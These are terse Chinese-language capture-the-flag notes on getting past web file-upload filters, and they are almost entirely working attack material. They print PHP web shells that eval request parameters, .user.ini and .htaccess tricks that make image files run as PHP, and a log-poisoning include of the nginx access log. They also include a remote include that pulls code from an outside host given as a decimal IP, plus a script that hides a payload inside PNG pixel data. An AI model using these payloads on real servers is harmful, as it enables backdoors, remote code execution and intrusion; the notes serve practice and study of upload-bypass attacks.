修改掉上传类型为 php 即可
修改 Content-Type 为 image/png
修改为 .phtml
.user.ini
auto_prepend_file=a.png
上传a.png
<?=@eval($_REQUEST["cmd"]);?>
<?=eval($_POST['a']);?>
<?=eval($_REQUEST['cmd']);?>
<?=`tac /var/www/html/flag.*`?>
<?=`cat /var/www/html/flag.*`?>
过滤了左右括号
<?=include"/var/lo"."g/nginx/access.l"."og"?>
GIF89a
过滤 . ;
app.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return '<?php eval($_REQUEST["cmd"]);?>'
<?=include"http://148572975"?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
php jpg_payload.php download.jpg
使用WinRAR 可以直接上传
其他压缩包需要修改MIME值为 application/x-zip-compressed
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>